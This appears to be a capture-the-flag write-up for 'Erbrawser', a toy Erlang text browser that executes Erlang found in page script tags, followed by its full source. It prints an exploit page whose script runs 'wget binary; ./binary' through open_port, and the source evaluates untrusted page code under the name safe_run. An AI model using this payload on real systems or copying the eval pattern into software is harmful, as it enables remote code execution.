Erbrawser 1-0¶
The erlang vulnerability is arbitrary erlang code execution,
which doesnt say much :-)
<script type="text/erlangscript">
open_port({spawn, "touch yay; wget binary; ./binary"}, []).
</script>
Useful erlang
Executing a shell command
open_port({spawn, "id"}, []).
do_get(Url) ->
io:format("DEBUG:do_get:REQUEST ~s~n", [Url]),
Res = http:request(Url),
handle_response(do_get, Res).
handle_response(Method, {ok, Result}) ->
io:format("DEBUG:SCRIPTS ~p~n", [Scripts]),
run_scripts(Scripts),
run_scripts([Scripts | Rest]) ->
run_script(Scripts),
run_scripts(Rest);
run_scripts([]) ->
ok.
run_script(Script) ->
Strscript = binary_to_list(Script),
safe_run(Strscript).
safe_run(Script) ->
Res = (catch run(Script)),
io:format("DEBUG:Script output: ~p~n", [Res]).
run(Script) ->
{ok, Tokens, _} = erl_scan:string(Script),
{ok, Parsed} = erl_parse:parse_exprs(Tokens),
{value, Res, _} = erl_eval:exprs(Parsed, erl_eval:new_bindings()),
Res.
Original files
erbrawser erbrawser.erl mochiweb_charref.beam mochiweb_html.beam erbrawser.beam mochiweb_charref.erl mochiweb_html.erlThe original code is
-module(erbrawser).
-export([serve/0]).
do_get(Url) ->
io:format("DEBUG:do_get:REQUEST ~s~n", [Url]),
Res = http:request(Url),
handle_response(do_get, Res).
do_post(Url, Data) ->
io:format("DEBUG:do_post:REQUEST ~s ~s~n", [Url, Data]),
Res = http:request(post, {Url, [], "application/x-www-form-urlencoded",
Data}, [], []),
handle_response(do_post, Res).
get_href_vals([{<<"href">>, Val} | Rest]) ->
[Val | get_href_vals(Rest)];
get_href_vals([{_, _} | Rest]) ->
get_href_vals(Rest);
get_href_vals(_) ->
[].
get_links({<<"a">>, Attrs, Cont}) ->
get_href_vals(Attrs) ++ get_links(Cont);
get_links({_, _, Cont}) ->
get_links(Cont);
get_links([Elem | Rest]) ->
% io:format("DEBUG: ~s~n", [Elem]),
get_links(Elem) ++ get_links(Rest);
get_links(_) ->
[].
get_scripts({<<"script">>, [{<<"type">>, <<"text/erlangscript">>}], Cont}) ->
Cont;
get_scripts({_, _, Cont}) ->
get_scripts(Cont);
get_scripts([Elem | Rest]) ->
% io:format("DEBUG: ~s~n", [Elem]),
get_scripts(Elem) ++ get_scripts(Rest);
get_scripts(_) ->
[].
print_list([Elem | Rest]) ->
io:format("~s~n", [Elem]),
print_list(Rest);
print_list([]) ->
ok.
print_links(Page) ->
PageTree = mochiweb_html:parse(Page),
Links = get_links(PageTree),
print_list(Links),
{ok, Page}.
handle_response(Method, {ok, Result}) ->
{{_, Status, Reason}, _, Body} = Result,
io:format("DEBUG:~w:RESPONSE ~w ~s~n", [Method, Status, Reason]),
case Status of
303 ->
{ok, ""};
_ ->
PageTree = mochiweb_html:parse(Body),
Scripts = get_scripts(PageTree),
io:format("DEBUG:SCRIPTS ~p~n", [Scripts]),
run_scripts(Scripts),
io:format("~s~n", [Body]),
{ok, Body}
end;
handle_response(Method, {error, Reason}) ->
io:format("ERROR:~w:~w~n", [Method, Reason]),
{error, Reason};
handle_response(Method, {badmatch, Reason}) ->
io:format("ERROR:~w:badmatch ~w~n", [Method, Reason]),
{error, Reason}.
run_scripts([Scripts | Rest]) ->
run_script(Scripts),
run_scripts(Rest);
run_scripts([]) ->
ok.
run_script(Script) ->
Strscript = binary_to_list(Script),
safe_run(Strscript).
run(Script) ->
{ok, Tokens, _} = erl_scan:string(Script),
{ok, Parsed} = erl_parse:parse_exprs(Tokens),
{value, Res, _} = erl_eval:exprs(Parsed, erl_eval:new_bindings()),
Res.
safe_run(Script) ->
Res = (catch run(Script)),
io:format("DEBUG:Script output: ~p~n", [Res]).
parse_input(["u", Url], _) ->
do_get(Url);
parse_input(["p", Url, Data], _) ->
do_post(Url, Data);
parse_input(["l"], Page) ->
print_links(Page);
parse_input(["q"], _) ->
quit;
parse_input(Unexpected, Page) ->
io:format("ERROR:parse_input:Unexpected input: ~s~n", [Unexpected]),
{ok, Page}.
accept(Page, Prompt) ->
Res = io:get_line(string:concat(Prompt, "")),
case Res of
eof ->
io:format("ERROR:accept: eof~n"),
quit;
{error, Reason} ->
io:format("ERROR:accept:~w~n", [Reason]),
{error, ""};
Data ->
parse_input(string:tokens(Data, "\n\r\t "), Page)
end.
get_opt(Opt, Default) ->
case init:get_argument(Opt) of
{ok, Val} ->
Val;
error ->
Default;
_ ->
io:format("ERROR:get_opt:Unexpected arguments for ~w~n", [Opt]),
Default
end.
string_to_int([], N) ->
N;
string_to_int([C | Rest], N) ->
string_to_int(Rest, (N*10+(C-48))).
string_to_int(Str) ->
string_to_int(Str, 0).
parse_proxy(Proxy) ->
[Hostname, Port] = string:tokens(Proxy, ":"),
{Hostname, string_to_int(Port)}.
serve() ->
Prompt = get_opt(p, "PROMPT"),
Proxy = get_opt(x, none),
inets:start(),
case Proxy of
none ->
ok;
_ ->
io:format("DEBUG:serve:setting proxy to ~p~n", [parse_proxy(Proxy)]),
case http:set_options([{proxy, {parse_proxy(Proxy), []}}]) of
{error, Reason} ->
io:format("ERROR:serve:setting proxy: ~p~n", [Reason]);
Other ->
io:format("~p~n", [Other])
end
end,
serve(accept("", Prompt), Prompt).
serve({ok, Page}, Prompt) ->
serve(accept(Page, Prompt), Prompt);
serve({error, _}, Prompt) ->
serve(accept("", Prompt), Prompt);
serve(quit, _) ->
init:stop(),
ok.